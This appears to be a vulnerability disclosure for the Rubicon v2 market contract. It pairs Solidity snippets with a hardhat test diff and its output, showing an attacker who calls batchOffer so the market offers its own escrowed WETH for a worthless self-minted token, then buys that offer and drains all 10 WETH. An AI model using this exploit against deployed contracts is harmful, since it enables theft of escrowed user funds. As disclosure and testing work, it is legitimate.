this.offer(
    payAmts[i],
    ERC20(payGems[i]),
    buyAmts[i],
    ERC20(buyGems[i])
);
require(pay_gem.transferFrom(msg.sender, address(this), pay_amt));
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
    require(allowance[src][msg.sender] >= wad);
    allowance[src][msg.sender] -= wad;
}
npx hardhat test --grep "ShalaamumMarketThis"
  Rubicon v2 Protocol Tests
    ShalaamumMarketThis
       Initialized Market
       attacker has 1 ETH and 0 WETH
       attacker deploys own attackerCoin
       rubiconMarket holds 10 WETH
       Attacker exploiting vulnerability and making market offer assets held in escrow
       Attacker taking offer
       rubiconMarket holds 0 WETH
       attacker holds 10 WETH
diff --git a/test/hardhat-tests/ProtocolDeployment.ts b/test/hardhat-tests/ProtocolDeployment.ts
index b55d879..0b8e6ba 100644
--- a/test/hardhat-tests/ProtocolDeployment.ts
+++ b/test/hardhat-tests/ProtocolDeployment.ts
@@ -1,4 +1,4 @@
-import { time, loadFixture } from "@nomicfoundation/hardhat-network-helpers";
+import { time, loadFixture, setBalance } from "@nomicfoundation/hardhat-network-helpers";
 import { anyValue } from "@nomicfoundation/hardhat-chai-matchers/withArgs";
 import { expect } from "chai";
 import { ethers, network } from "hardhat";
@@ -213,6 +213,77 @@ describe("Rubicon v2 Protocol Tests", function () {
     };
   }
 
+  describe("ShalaamumMarketThis", function () {
+    let rubiconMarket, weth, attacker;
+    let attackerCoin;
+    const attackerBalanceStart = 10n**18n;
+    let marketWethStart;
+  
+    before(async function () {
+      let otherAccount;
+      ({ rubiconMarket, weth, otherAccount } = await loadFixture(
+        deployRubiconProtocolFixture
+      ));
+      attacker = otherAccount;
+    });
+  
+    it("Initialized Market", async function () {
+      expect(await rubiconMarket.initialized()).to.equal(true);
+    });
+
+    it("attacker has 1 ETH and 0 WETH", async function () {
+      setBalance(attacker.address, attackerBalanceStart);
+      expect(await ethers.provider.getBalance(attacker.address)).eq(attackerBalanceStart);
+      expect(await weth.balanceOf(attacker.address)).eq(0);
+    });
+
+    it("attacker deploys own attackerCoin", async function () {
+      const testCoinFactory = await ethers.getContractFactory("TokenWithFaucet", attacker);
+      attackerCoin = await testCoinFactory.deploy(
+        attacker.address,
+        "AttackerCoin",
+        "ATTACKCOIN",
+        18
+      );
+      await attackerCoin.connect(attacker).adminMint();
+      expect(await attackerCoin.balanceOf(attacker.address)).to.be.gte(1);
+    });
+
+    it("rubiconMarket holds 10 WETH", async function () {
+      marketWethStart = await weth.balanceOf(rubiconMarket.address);
+      expect(marketWethStart).eq(10n*10n**18n);
+    });
+
+    it("Attacker exploiting vulnerability and causing market to offer assets held in escrow", async function () {
+      await rubiconMarket.connect(attacker).batchOffer(
+        [marketWethStart],
+        [weth.address],
+        [1],
+        [attackerCoin.address]
+      );
+    });
+
+    it("Attacker taking offer", async function () {
+      let lastOfferId = await rubiconMarket.last_offer_id();
+      await attackerCoin.connect(attacker).approve(
+        rubiconMarket.address,
+        1
+      )
+      await rubiconMarket.connect(attacker).buy(
+        lastOfferId,
+        marketWethStart.mul(10000).div(9999)
+      );
+    });
+
+    it("rubiconMarket holds 0 WETH", async function () {
+      expect(await weth.balanceOf(rubiconMarket.address)).eq(0);
+    });
+
+    it("attacker holds 10 WETH", async function () {
+      expect(await weth.balanceOf(attacker.address)).eq(10n*10n**18n);
+    });
+  });
+
   describe("Protocol Tests", async function () {
     // *** Core ***
     describe("Rubicon Market", function () {
